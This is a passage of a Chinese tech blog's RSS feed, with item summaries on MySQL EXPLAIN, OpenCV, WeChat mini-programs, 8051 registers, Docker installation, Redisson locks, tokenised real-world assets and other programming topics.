在后台偷偷运行的应用程序也会占用RAM内存资源。即使你从未打开过这些应用程序，你也会发现这些应用程序仍然在后台运行着。这可以是因为你的Mac启动项中包含了这些应用程序，这意味着它们在你启动Mac时将自动运行。&#xA;那么，如何阻止非必要的应用程序自动启动呢？方法如下：&#xA;打开系统偏好设置单击“用户与群组”单击“登录项”选项卡在这里，你会看到一系列应用程序，它们将在每次启动Mac时自动运行如果认为有哪个应用程序你认为是非必要自动运行的，则在列表中选中它，然后单击（-）按钮&#xA;以上就是Mac清理内存的常见方法。对于动手能力不强或刚刚开始使用Mac的用户，我们认为最好的解决方案还是选择使用专业的第三方内存清理工具。最后要提醒的是，选择第三方应用程序，记得选择像CleanMyMac X 这类已经获得Apple认证的软件。使用未经认证的软件可能会带来不必要的风险。 </description>
    </item>
    <item>
      <title>mysql原理--Explain详解</title>
      <link>https://bchobby.github.io/posts/397edfa033c74de3596a3b52ef3f7669/</link>
      <pubDate>Mon, 01 Jan 2024 18:59:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/397edfa033c74de3596a3b52ef3f7669/</guid>
      <description>1.概述&#xA;一条查询语句在经过 MySQL 查询优化器的各种基于成本和规则的优化会后生成一个所谓的 执行计划 ，这个执行计划展示了接下来具体执行查询的方式，比如多表连接的顺序是什么，对于每个表采用什么访问方法来具体执行查询等等。设计 MySQL 的大叔贴心的为我们提供了 EXPLAIN 语句来帮助我们查看某个查询语句的具体执行计划。&#xA;如果我们想看看某个查询的执行计划的话，可以在具体的查询语句前边加一个 EXPLAIN ，就像这样：EXPLAIN SELECT 1\G&#xA;输出的一大坨东西就是所谓的 执行计划 ，我的任务就是带领大家看懂这一大坨东西里边的每个列都是干啥用的，以及在这个 执行计划 的辅助下，我们应该怎样改进自己的查询语句以使查询执行起来更高效。其实除了以 SELECT 开头的查询语句，其余的 DELETE 、 INSERT 、 REPLACE 以及 UPDATE 语句前边都可以加上 EXPLAIN这个词儿，用来查看这些语句的执行计划，不过我们这里对 SELECT 语句更感兴趣，所以后边只会以 SELECT 语句为例来描述 EXPLAIN 语句的用法。为了让大家先有一个感性的认识，我们把 EXPLAIN 语句输出的各个列的作用先大致罗列一下：&#xA;列名描述id在一个大的查询语句中每个 SELECT 关键字都对应一个唯一的 idselect_typeSELECT 关键字对应的那个查询的类型table表名partitions匹配的分区信息type针对单表的访问方法possible_keys可能用到的索引key实际上使用的索引key_len实际使用到的索引长度ref当使用索引列等值查询时，与索引列进行等值匹配的对象信息rows预估的需要读取的记录条数filtered某个表经过搜索条件过滤后剩余记录条数的百分比Extra一些额外的信息 为了故事的顺利发展，我们还是要请出我们前边已经用了n遍的 single_table 表，为了防止大家忘了，再把它的结构描述一遍：&#xA;CREATE TABLE single_table ( id INT NOT NULL AUTO_INCREMENT, key1 VARCHAR(100), key2 INT, key3 VARCHAR(100), key_part1 VARCHAR(100), key_part2 VARCHAR(100), key_part3 VARCHAR(100), common_field VARCHAR(100), PRIMARY KEY (id), KEY idx_key1 (key1), UNIQUE KEY idx_key2 (key2), KEY idx_key3 (key3), KEY idx_key_part(key_part1, key_part2, key_part3) ) Engine=InnoDB CHARSET=utf8; 我们仍然假设有两个和 single_table 表构造一模一样的 t1 、 t2 表，而且这两个表里边儿有10000条记录，除 id 列外其余的列都插入随机值。</description>
    </item>
    <item>
      <title>P1163 银行贷款</title>
      <link>https://bchobby.github.io/posts/9b96f9623553ac8f08a636243c23138e/</link>
      <pubDate>Mon, 01 Jan 2024 18:21:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b96f9623553ac8f08a636243c23138e/</guid>
      <description>P1163 银行贷款 P1163 银行贷款&#xA;题意 1.从银行贷款后，在一段时间内每月偿还固定的分期付款。这个问题要求计算出贷款者向银行支付的利率。假设利率按月累计。&#xA;2.三个用空格隔开的正整数。第一个整数表示贷款的原值n，第二个整数表示每月支付的分期付款金额 m，第三个整数表示分期付款还清贷款所需的总月数t。&#xA;思路 先判断题目用什么知识点，例：这题二分。理解题意，将实例演示出来。注意细节，将实例带到所写的代码中看看能不能实现。 坑点 数据保证答案不超过300.0%，给l,r定义范围。钱多钱少与在二分中间值的左边还是右边要搞搞清楚。ans&amp;gt;0，还有钱没还清，利润小了，往右边找。ans&amp;lt;0，多还钱了，利润大了所有往左找。 算法一：浮点二分 时间复杂度 输出大小: 1.90697479248047 MiB&#xA;编译时间: 1.14s&#xA;实现步骤 首先定义函数，函数里面用二分（模版）解答，n贷款，m分期付款，t月数根据题目，在理解题目意思的前提下，用二分法将题意表达出来。最后在主函数中应用所定义的函数。 代码 #include &amp;lt;iostream&amp;gt; #include &amp;lt;cstdio&amp;gt; using namespace std; double n,m,t;//n贷款，m分期付款，t月数 //double h; double find(double l,double r){ double mid=(l+r)/2;//表示一开始的利润 double ans=n;//ans为剩下的钱 for(int i=1;i&amp;lt;=t;i++){ ans=ans*(1+mid)-m; } if(ans==0||r-l&amp;lt;0.000001){//保证精准度足够 return mid; } if(ans&amp;gt;0){//还有钱没还清，利润小了 ,往右边找 return find(l,mid); //相当于r=mid } if(ans&amp;lt;0){//多还钱了，利润大了所有往左找 return find(mid,r);//相当于l=mid } } int main(){ //&#x9;cin&amp;gt;&amp;gt;n&amp;gt;&amp;gt;m&amp;gt;&amp;gt;t; scanf(&#34;%lf%lf%lf&#34;,&amp;amp;n,&amp;amp;m,&amp;amp;t); double h=find(0,5);//数据保证答案不超过300.0% //给l,r定义范围 printf(&#34;%.1lf&#34;,h*100); return 0; } 总结 浮点二分和二分一样，都要先定义一个函数，再在主函数里运用函数，说白了，唯一不同的就是，数值是一个是浮点型，一个是整型</description>
    </item>
    <item>
      <title>深度学习——PIL和OpenCV</title>
      <link>https://bchobby.github.io/posts/6e8f7882ed39d31bff50ca287358c7be/</link>
      <pubDate>Mon, 01 Jan 2024 18:14:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e8f7882ed39d31bff50ca287358c7be/</guid>
      <description>PIL 官方文档&#xA;格式互转&#xA;opencv cv2.imread()&#xA;参数：&#xA;filepath：读入imge的完整路径&#xA;flags：标志位，{cv2.IMREAD_COLOR，cv2.IMREAD_GRAYSCALE，cv2.IMREAD_UNCHANGED}&#xA;cv2.IMREAD_COLOR：默认参数，读入一副彩色图片，忽略alpha通道，可用1作为实参替代&#xA;cv2.IMREAD_GRAYSCALE：读入灰度图片，可用0作为实参替代&#xA;cv2.IMREAD_UNCHANGED：名思义，读入完整图片，包括alpha通道，可用-1作为实参替代&#xA;二值图片读取与ndarray数据查看&#xA;cv2.imshow(window_name, image)&#xA;cv2.add() 图像相加的一些特殊性质，超过255仍为255&#xA;https://blog.csdn.net/qq1198768105/article/details/126334509&#xA;cv2.cvtColor()&#xA;https://blog.csdn.net/weixin_36670529/article/details/113755331&#xA;cv2.imwrite(frame_name, frame)&#xA;cv2.threshold(img, threshold, maxval,type)&#xA;注意返回值有两个，一个是设置的阈值，一个是图片本身&#xA;https://blog.csdn.net/m0_51004308/article/details/113179712&#xA;cv2.connectedComponentsWithStats()&#xA;https://zhuanlan.zhihu.com/p/59486758&#xA;https://blog.csdn.net/weixin_44599604/article/details/111687531&#xA;https://www.5axxw.com/questions/simple/fbcmbh&#xA;cv2.rectangle(),cv2.cricle(),cv2.line(),cv2.putText()&#xA;https://blog.csdn.net/AX642511931/article/details/124239421</description>
    </item>
    <item>
      <title>微信小程序开发系列-11组件间通信02</title>
      <link>https://bchobby.github.io/posts/ecdd1524014d03471125db2838d642c5/</link>
      <pubDate>Mon, 01 Jan 2024 18:13:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecdd1524014d03471125db2838d642c5/</guid>
      <description>微信小程序开发系列目录 《微信小程序开发系列-01创建一个最小的小程序项目》&#xA;《微信小程序开发系列-02注册小程序》&#xA;《微信小程序开发系列-03全局配置中的“window”和“tabBar”》&#xA;《微信小程序开发系列-04获取用户图像和昵称》&#xA;《微信小程序开发系列-05登录小程序》&#xA;《微信小程序开发系列-06事件》&#xA;《微信小程序开发系列-07组件》&#xA;《微信小程序开发系列-08自定义组件模版特性》&#xA;《微信小程序开发系列-09自定义组件样式特性》&#xA;《微信小程序开发系列-10组件间通信01》&#xA;文章目录 微信小程序开发系列目录前言behaviorsbehaviors的定义behaviors的使用引用外部behaviors引用内置behaviorswx://form-field普通页面form组件的submit自定义组件中form组件的submit 小结 selector什么是selectorselector的使用 获取组件实例总结 前言 上一篇文章中将组件间通信还有一个模块没有学习到，本文继续学习。&#xA;behaviors behaviors 是用于组件间代码共享的特性。&#xA;behaviors的定义 每个 behavior 可以包含一组属性、数据、生命周期函数和方法。组件引用它时，它的属性、数据和方法会被合并到组件中，生命周期函数也会在对应时机被调用。 每个组件可以引用多个 behavior ，behavior 也可以引用其它 behavior 。&#xA;详细的参数含义和使用请参考 Behavior 参考文档。&#xA;// my-behavior.js module.exports = Behavior({ behaviors: [], properties: { myBehaviorProperty: { type: String } }, data: { myBehaviorData: {} }, attached: function(){}, methods: { myBehaviorMethod: function(){} } }) behaviors的使用 使用 Component 构造器来构造页面的一个好处是可以使用 behaviors 来提取所有页面中公用的代码段。&#xA;组件既可以使用外部引入的behavior，也可以使用内置的behavior。</description>
    </item>
    <item>
      <title>51单片机中TCON, IE, PCON等寄存器的剖析</title>
      <link>https://bchobby.github.io/posts/3e1338653e998fd1e7e5a7bbe46558e5/</link>
      <pubDate>Mon, 01 Jan 2024 17:55:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e1338653e998fd1e7e5a7bbe46558e5/</guid>
      <description>在单片机中，如何快速通过名字记忆IQ寄存器中每一个控制位的作用呢？&#xA;IE（interrupt enable）寄存器中，都是中断的使能位置。&#xA;其中的EA（enable all）是总使能位，ES(enable serial)是串口中断使能位，其余是两个外部中断EX(enable external)的使能位（其余的两个外部中断在其他的寄存器中），和三个定时器ET(enable timer)的中断使能位。&#xA;TCON(timer control)寄存器中，是一个关于定时器/计时器的控制寄存器,但是也集成了外部中断的一些控制位，如下图：&#xA;其中I打头的，都是关于外部中断的控制位，TCON中关于外部中断的中的位数的名字非常奇怪，其中一个为IE，和IE寄存器的名字一样，不知道的还以为是总中断的控制位，也有人认为其的缩写是（interrupt enbale），但是其确实一个关于外部中断的标志位，所以名字很奇怪。在所有的寄存器中，标志位都是由芯片自己控制的，也就是标志位自己会变成1或者0，这个标志位是用来给操作者读取的，是芯片对于中断的一种外界的反应，相当于串口中断中的TI和RI，是自己变化的。IE和TI和RI一样，是中断的一个标志，不过是外部中断的标志，只需要记住TCON中集成的外部中断的中断标志（部分，只有两个），而其中的IT（interrupt type），也是外部中断的控制位，表示的中断类型，IT = 1的时候是下降沿，IT = 0的时候是低电平。总之，外部中断没有自己独立的一个，为外部中断控制寄存器，其控制位都是分布在别的寄存器中的。其控制位，除了控制中断的使能位之外，其余的都是I开头的。&#xA;其中，T打头都是定时器的控制位，虽然表示的计时器少了一个（一共有三个计时器）。TR（time run）表示的是可以允许让计时器开始计时，为1的时候，是可以开始允许计时的。而TF（time overflow）是计时器溢出的时候，表示的是计时器中断标志位，和上述的IE是一样的，溢出的时候就是为1，都是由硬件完成的，平时没有什么用，我猜正是因为这些硬件标志位，才让程序执行中断函数的。&#xA;SCON（serial control）串口控制器，串口控制器和计时器一样，都是有自己独立的控制器。&#xA;其中的SM0 和 SM1表示的是四种串口的工作方式，以及对应的波特率，在练习中选择的是方式一。REN（receive enable）表示的是让串口能够收到消息。TI和RI都是串口中断的标志位，这个一般是进入串口中断的时候，用来判断究竟是收到满了中断，还是发送满了中断了。其余的控制位就不用管了。&#xA;PCON（power control）电源控制器。&#xA;这个寄存器的使用有限，通常是和SCON配合使用，其中的SMOD和SMOD0两个的用法是不一样的。&#xA;当SMOD0（B6位） = 0的时候，SCON中的SM0才是选择工作模式使用的，为1的时候，是其他用处。&#xA;同时SMOD也是SCON中公式的指数，我们一般选择为0，所以在串口中断的时候，PCON = 0的。&#xA;总结一下需要的调整的寄存器：外部中断需要调整两个寄存器就好了，定时器的话，需要调整三个寄存器以及初值，IE,TCON（两个变量）,TMOD三个寄存器以及TL和TH的初值，前两个是控制寄存器，TMOD是选择定时器的模式使用的，GATE控制位看样子是和外部中断配合，做延时使用的，C/非T是用来切换定时器和计数器的，定时器是使用内部的时钟计时，计数器顾名思义就是用来计数的，这个是需要连接外部的引脚来将是否计数传进来的。串口中断的话，需要IE，需要SCON,PCON，TCON（一个变量），还需要TMOD，也需要调整TH和TL的值，不过这个过程可能在PCON设置波特率的时候就已经确定了TH的值了。IE是用来打开全部中断和串口中断的（不打开定时器中断），SCON是用来调整串口中断控制位的，PCON是用来调整波特率的，TMOD用来调整计时器模式的，其中需要TCON是用来激活TR1的，没有这个控制位的话定时器是不能跑的，值得一提的是，这个是不需要开启定时器中断的，而且串口中断的话占用的一定是定时器1。所以后续更改的是定时器1里面的数值。</description>
    </item>
    <item>
      <title>使用pyqt5&#43;qtdesign设计模仿网易云音乐客户端界面</title>
      <link>https://bchobby.github.io/posts/e1d16f2e65e6e2e87118b6409fb8e045/</link>
      <pubDate>Mon, 01 Jan 2024 17:46:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1d16f2e65e6e2e87118b6409fb8e045/</guid>
      <description>案例效果图 设计界面效果图：&#xA;运行效果图：&#xA;本项目目前只是对界面进行了设计，功能都没有进行完善，想完善的小伙伴自己拿到UI文件之后，自己完善即可。&#xA;简要设计思路说明 使用QFrame将界面分割布局成如下几个部分：&#xA;一些图案+文字的按钮直接用QPushButton即可，按钮是可以添加图案的，例如：&#xA;中间的右边展示内容的部分，可以使用QStackedWidget进行设计，方便点击按钮时，对界面进行切换，如图：&#xA;下方的进度条使用QProgressBar进行设计即可，自己改变长宽和颜色即可。&#xA;总结 图标都是在iconfont获取的，大家自己去下载即可。</description>
    </item>
    <item>
      <title>ubuntu 20.04 自由切换 python 的版本</title>
      <link>https://bchobby.github.io/posts/d7344f8fa279c279e1254625e22de12a/</link>
      <pubDate>Mon, 01 Jan 2024 17:40:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7344f8fa279c279e1254625e22de12a/</guid>
      <description>问题描述 当前 ubuntu 20.04 默认安装了多个 python 的版本，执行 python 时，默认版本是 Python 2.7.18 zhangsz@zhangsz:~$ python Python 2.7.18 (default, Jul 1 2022, 12:27:04) [GCC 9.4.0] on linux2 Type &#34;help&#34;, &#34;copyright&#34;, &#34;credits&#34; or &#34;license&#34; for more information. &amp;gt;&amp;gt;&amp;gt; 如何更改切换 python 对应的 python 版本，比如 执行 python 时 打开的是 Python 3.8.10&#xA;为何需要切换 python 对应的版本，就是有的应用，比如 repo 必须 使用 Python 3.x 的版本，而有的 sdk 编译系统 就使用 python 2.x 的版本，造成需要 python 对于的版本在 python 2.x 与 python 3.x 之间自由切换，而不是 安装卸载操作</description>
    </item>
    <item>
      <title>对房价数据集进行处理和数据分析</title>
      <link>https://bchobby.github.io/posts/8e193f571ac70ad3c6e361070bcb3724/</link>
      <pubDate>Mon, 01 Jan 2024 17:31:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e193f571ac70ad3c6e361070bcb3724/</guid>
      <description>大家好，我是带我去滑雪，每天教你一个小技巧！&#xA;房价数据集通常包含各种各样的特征，如房屋面积、地理位置、建造年份等。通过对数据进行处理和分析，可以更好地理解这些特征之间的关系，以及它们对房价的影响程度。这有助于确定哪些特征是最重要的，从而更有针对性地制定房地产策略。本次使用波士顿房价数据集boston_housing_data.csv，该数据集有城镇人均犯罪率（CRIM）、住宅用地所占比例（ZN）、城镇中非住宅用地所占比例（INDUS）等共计13个特征变量，响应变量为社区房价中位数（MEDV）。实现对房价数据进行可视化和统计分析：如绘制直方图、密度图、箱线图以及查看各个散点图的分布，最后使用支持向量机和KNN等几种机器学习方法进行学习。下面开始实战。&#xA;（1）导入相关模块 import numpy as np import pandas as pd import matplotlib.pyplot as plt from sklearn.model_selection import train_test_split from numpy import arange from matplotlib import pyplot from pandas import read_csv from pandas import set_option from pandas.plotting import scatter_matrix from sklearn.preprocessing import StandardScaler from sklearn.model_selection import train_test_split from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_predict from sklearn.model_selection import cross_val_score from sklearn.model_selection import GridSearchCV from sklearn.linear_model import LinearRegression from sklearn.linear_model import Lasso from sklearn.</description>
    </item>
    <item>
      <title>redisson作为分布式锁的底层实现</title>
      <link>https://bchobby.github.io/posts/31f611ebda63c4890fbd1ebf4190e915/</link>
      <pubDate>Mon, 01 Jan 2024 17:25:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31f611ebda63c4890fbd1ebf4190e915/</guid>
      <description> 1. redisson如何实现尝试获取锁的逻辑 如何实现在一段的时间内不断的尝试获取锁 其实就是搞了个while循环，不断的去尝试获取锁资源。但是因为latch的存在会在给定的时间内处于休眠状态。这个事件，监听的是解锁动作，如果解锁动作发生。会调用latch.release方法，这样while循环又可以重新启动，去尝试获取锁资源了。（相比单纯的轮训，避免了对cpu资源的浪费。通过信号通知，避免了没必要的轮训）尝试获取锁的过程是怎样的？ 使用了redis脚本执行的方式。因为存在根据查询结果，来决定执行什么变更动作。所以一定要保证动作串行执行。如果key不存，则新增key和param（线程id+redisClientid）记录，value为数值型，value=1。 如果，key + param存在，则表名key已被默认线程持有，并且这个线程就是当前线程。如果，key + param不存在，则表明key已被默认线程持有，并且这个线程不是当前线程。 2. redisson释放锁的逻辑如何实现 因为加锁时，会设置过期时间。所以就算不主动解锁。key过期了就相当于解锁了。&#xA;redisson的解锁过程如下图。先判断线程是否持有该锁。如果有，则value值减1。然后判断value是否大于0，如果大于0，则给key设置一个默认的过期时间30秒；如果等于0，则可以删除key和发布一个key删除事件。&#xA;3. redisson释放锁时，如何唤起其它线程取争抢锁 4. redisson如何解决A线程加锁，但是B线程去释放锁的问题 </description>
    </item>
    <item>
      <title>阶段十-分布式-docker虚拟化容器</title>
      <link>https://bchobby.github.io/posts/6dfcfee513f927eb6ceb464cd2c0b4d8/</link>
      <pubDate>Mon, 01 Jan 2024 17:18:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dfcfee513f927eb6ceb464cd2c0b4d8/</guid>
      <description>第一章 Docker简介 1.2 节 Docker理念 Docker是基于Go语言实现的云开源项目；通过对应用组件的封装、分发、部署、运行等生命周期的管理，使用户的APP（可以是一个WEB应用或数据库应用等等）及其运行环境能够做到“一次封装，到处运行”。&#xA;1.3 节 Docker概念 Docker 是一个开源的应用容器引擎，基于go语言并遵从apache2协议开源。&#xA;Docker可以让开发者打包他们的应用以及依赖包到一个轻量级，可移植的容器中，然后发布到任何流行的Linux机器上，也可以实现虚拟化。&#xA;1.4 节 Docker的三要素和架构图 Docker的三要素：镜像、容器、仓库&#xA;镜像：Docker 镜像（Image）就是一个只读的模板。镜像可以用来创建 Docker 容器，一个镜像可以创建很多容器。&#xA;容器：&#xA;Docker 利用容器（Container）独立运行的一个或一组应用。容器是用镜像创建的运行实例。&#xA;它可以被启动、开始、停止、删除。每个容器都是相互隔离的、保证安全的平台。&#xA;可以把容器看做是一个简易版的 Linux 环境（包括root用户权限、进程空间、用户空间和网络空间等）和运行在其中的应用程序。&#xA;容器的定义和镜像几乎一模一样，也是一堆层的统一视角，唯一区别在于容器的最上面那一层是可读可写的。&#xA;仓库：&#xA;仓库（Repository）是集中存放镜像文件的场所也是下载镜像的地方。&#xA;仓库(Repository)和仓库注册服务器（Registry）是有区别的。仓库注册服务器上往往存放着多个仓库，每个仓库中又包含了多个镜像，每个镜像有不同的标签（tag）。&#xA;仓库分为公开仓库（Public）和私有仓库（Private）两种形式。&#xA;最大的公开仓库是 Docker Hub(https://hub.docker.com/)，&#xA;Docker&#xA;存放了数量庞大的镜像供用户下载。国内的公开仓库包括阿里云 、网易云 等&#xA;第二章 Centos7上安装docker 2.1 节 卸载（可选） 如果之前安装过旧版本的Docker，可以使用下面命令卸载：&#xA;yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-selinux \ docker-engine-selinux \ docker-engine \ docker-ce 2.2 节 安装docker 1）首先需要大家虚拟机联网，安装yum工具</description>
    </item>
    <item>
      <title>2024年金融变革RWA的7大展望</title>
      <link>https://bchobby.github.io/posts/b27890263452398359b0914f5e3d1681/</link>
      <pubDate>Mon, 01 Jan 2024 17:17:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b27890263452398359b0914f5e3d1681/</guid>
      <description>作者：Sanjay@Roofstock onChain的副总裁&#xA;编译：秦晋 碳链价值&#xA;稳定币、代币化国债、去中心化私人信贷、实物支持的NFTs、气候和再生金融DeFi - 这些只是未来一年将重塑资本市场的部分趋势。&#xA;在不断变化的金融格局中，过去两年给我们带来了一系列独特的挑战。其中最主要的是美国的通货膨胀--2022年6月达到惊人的9.1%，这促使美联储实施了一系列激进的加息措施（目前仍在继续）。&#xA;与此同时，加密货币行业也经历了自己的风暴，Terra/Luna、Celsius、Voyager和FTX 等大型项目以及Silvergate、Signature和硅谷银行（Silicon Valley Bank）等银行纷纷倒下。&#xA;在这场动荡中，区块链建设者们继续奋力前行，现实世界资产（RWA）领域成为创新和弹性的灯塔。从本质上来说，真实世界资产代币化的核心是在区块链上创建一种投资工具，这种工具与房地产或汽车等有形资产或其他任何可能以实物形式存在的东西相关联。一旦所有权被记录在区块链上，资产就可以交易、分割或安全持有。&#xA;进入2024 年，以下七大RWA展望将重塑金融格局：&#xA;1. 稳定币：可编程货币的基石&#xA;随着联邦监管的迫近，稳定币--可编程货币的缩影--正处于变革性增长的边缘，从根本上改变了我们对货币的看法。在美国，有两家发行商在这一领域占据主导地位--Circle（作为多链解决方案发行USDC）和Paxos（提供Paypal的PYUSD等标记解决方案，如）。在全球范围内，稳定币的市值约为1250亿美元，并形成为价值互联网提供动力的基础架构层。稳定币具有稳定性和灵活性，将彻底改变全球支付、汇款、电子商务、贸易金融等领域。&#xA;2. 代币化国债：传统金融与去中心化金融的桥梁&#xA;代币化国债体现了传统金融和去中心化金融的真正融合。随着无风险短期国债收益率从2022年初的接近于零上升到2023年10月的约5.4%，富兰克林邓普顿、Ondo、Backed、Maple、Open Eden和Superstate等公司率先将短期美国国债和银行存款代币化。根据数据代币和分析平台RWA.xyz的数据，这一新资产类别目前拥有7亿美元的市值。代币化国债正在打破壁垒，为投资和金融包容性提供新的途径。&#xA;3. 私人信贷：通过 DeFi 为中小企业赋能&#xA;美国私人信贷市场价值1万亿美元，全球私人信贷市场价值1.7万亿美元，但长期以来，中小型企业一直未能进入这一市场。Centrifuge、Goldfinch、Credit、Maple、Huma等 DeFi 借贷协议正在改变游戏规则，打开了从公共市场、银行系统和传统私人信贷发放机构获得债务资本的闸门。&#xA;私人信贷发起人。RWA.xyz 专注于特定行业或地域，目前估计该市场约有5.5亿美元的活跃贷款，未来几个月仍将保持增长势头。&#xA;4.NFT：彻底变革藏品融资模式&#xA;全球每年的艺术品销售额超过650亿美元（仅美国就有300亿美元），不难看出艺术品中蕴藏着巨大商机。但是，传统艺术品和收藏品市场缺乏流动性，而且费用高昂（拍卖行通常会对小件商品加收15-20% 费用）。据估计，全球收藏品市场（钱币、邮票、书籍、漫画、艺术品、玩具等）的规模约为4000亿美元，同样缺乏流动性。像eBay这样的市场平台和一些较小的定制市场迎合了这一行业的需求，而借贷方式一般仅限于利率较高的典当行。&#xA;幸运的是，4K和arcade.xyz等去中心化协议正在改变这一模式。通过将实物收藏品带入区块链，针对Supreme T-Shirts和漫画书等资产的借贷已成为现实。这些举措使借贷民主化，让全世界的收藏者都能获得借贷。&#xA;5. 消费品牌NFT：提升客户参与度&#xA;包括耐克（Nike）、阿迪达斯（Adidas）、路易威登（Louis Vuitton）和可口可乐（Coca-Cola）等在内的领先消费品牌都在拥抱NFT。从 Polygon上的星巴克到传言中亚马逊的私有区块链的努力，大品牌正在利用区块链来增强数字足迹、客户参与和娱乐体验。无论是在公共区块链（Polygon上的星巴克）还是私人区块链（围绕亚马逊传闻）上，通过融入游戏和元宇宙元素，这些品牌正在塑造消费者互动的未来。&#xA;6. 气候和再生金融领域DeFi&#xA;在环境、社会和治理（ESG）问题日益受到关注情况下，区块链技术正在推动价值20亿美元且不断增长的碳市场发生积极变化。Flowcarbon等公司正在利用区块链的潜力来提高这一重要市场的透明度，要实现《巴黎协定》的目标，到2030年这一市场必须实现15倍增长。区块链在碳生命周期每个阶段的准确性和透明度对于促进可持续发展的未来不可或缺。&#xA;7. 代币化存款和批发银行结算：彻底改变跨境交易&#xA;区块链技术正在重塑银行处理代币化存款和批发结算的方式。虽然在美国，中央银行数字货币（CBDC）可能不是一个急需解决的问题，特别是如果私人发行商可以在联邦或州一级受到监管，但一些银行正在对代币化存款和银行内部或银行间批发结算进行区块链技术试验。花旗银行和摩根大通银行等行业巨头的试点证明了即时跨境交易的潜力。未来几个月，这一领域将继续扩大，从而提高全球金融的效率。&#xA;这些RWA趋势预示着一个新的金融时代的到来，为长期存在的挑战提供了解决方案。虽然它们的市值现在看起来可能不大，但其变革潜力是不可估量的。稳定币、代币化国库、去中心化私人信贷、实物支持的无形资产、消费者品牌无形资产、气候和再生金融领域的DeFi 以及代币化存款/批发银行结算不仅仅是趋势，它们还是一个更加包容、高效和可持续的金融未来的基石。在2024年，这些创新无疑将引领潮流，为企业和个人带来无与伦比的机遇。&#xA;推荐阅读：&#xA;历史罚单&#xA;最大牛市&#xA;AI货币&#xA;元宇宙&#xA;暗流涌动&#xA;&amp;lt; END &amp;gt;</description>
    </item>
    <item>
      <title>0101包冲突导致安装docker失败-docker-云原生</title>
      <link>https://bchobby.github.io/posts/8e62420bb8a4defc87a5ec07329799f9/</link>
      <pubDate>Mon, 01 Jan 2024 17:05:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e62420bb8a4defc87a5ec07329799f9/</guid>
      <description>文章目录 1 前言2 报错3 解决结语 1 前言 最近在学习k8s，前置条件就是要安装指定版本的docker，命令如下&#xA;yum install -y docker-ce-20.10.7 docker-ce-cli-20.10.7 containerd.io-1.4.6 2 报错 file /usr/libexec/docker/cli-plugins/docker-buildx from install of docker-ce-cli-1:20.10.7-3.el7.x86_64 conflicts with file from package docker-buildx-plugin-0:0.11.2-1.el7.x86_64 释义：从包docker-ce-cli安装的文件与包docker-buildx-plugin冲突 3 解决 明确那个包是你需要的？这里我需要docker-ce-cli&#xA;docker-buildx-plugin这个包可能是以前安装留下 移除不需要的安装包&#xA;yum -y remove docker-buildx-plugin 重新安装成功&#xA;结语 ❓QQ:806797785&#xA;⭐️&#xA;参考：&#xA;[1]云原生视频地址[CP/OL].&#xA;[2]docker安装报错[CP/OL].</description>
    </item>
    <item>
      <title>文件内容采集-go</title>
      <link>https://bchobby.github.io/posts/a985f5ff573be1c04a2a1518d37b96dc/</link>
      <pubDate>Mon, 01 Jan 2024 16:59:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a985f5ff573be1c04a2a1518d37b96dc/</guid>
      <description>需求背景 1、多个线程写文件，并且在达到文件大小限制时进行文件绕接，但是绕接文件不压缩&#xA;2、另起一个线程对文件内容进行采集，然后将内容统一归档到指定路径&#xA;写文件客户端&#xA;package collectFile import ( &#34;bufio&#34; &#34;fmt&#34; &#34;os&#34; &#34;path/filepath&#34; &#34;strconv&#34; &#34;time&#34; ) func WriteClientRun() { serviceNamePrefix := &#34;svc-&#34; for i := 0; i &amp;lt; 10; i++ { go writeFile(serviceNamePrefix + strconv.Itoa(i)) } } func writeFile(serviceName string) { for { doWriteFile(serviceName) } } func doWriteFile(serviceName string) { dirPath := filepath.Join(&#34;D:\\tmp\\alarm_log&#34;, serviceName, BaseParent) _, dirStatErr := os.Stat(dirPath) if os.IsNotExist(dirStatErr) { dirCreateStatErr := os.MkdirAll(dirPath, 0777) if dirCreateStatErr != nil { fmt.</description>
    </item>
    <item>
      <title>matlab概率论例子</title>
      <link>https://bchobby.github.io/posts/58d775001d847768917ce33269d67455/</link>
      <pubDate>Mon, 01 Jan 2024 16:59:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58d775001d847768917ce33269d67455/</guid>
      <description>高斯概率模型： [f,xi] = ksdensity(x): returns a probability density estimate, f, for the sample in the vector x. The estimate is based on a normal kernel function, and is evaluated at 100 equally spaced points, xi, that cover the range of the data in x. 代码：&#xA;&amp;gt;&amp;gt; %Give a random sample x=[2*randn(6000,1); 5+randn(4000,1)]; %Calculate the probability density of each point [f,xi]=ksdensity(x); %plot subplot(211); plot(x); title(&#39;Sample Data&#39;) subplot(212); plot(xi,f); title(&#39;PDF&#39;); &amp;gt;&amp;gt; 图形：</description>
    </item>
    <item>
      <title>Nginx配置限流，技能拉满！</title>
      <link>https://bchobby.github.io/posts/b7ba84b406f1455922edbeae3a4be663/</link>
      <pubDate>Mon, 01 Jan 2024 16:40:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7ba84b406f1455922edbeae3a4be663/</guid>
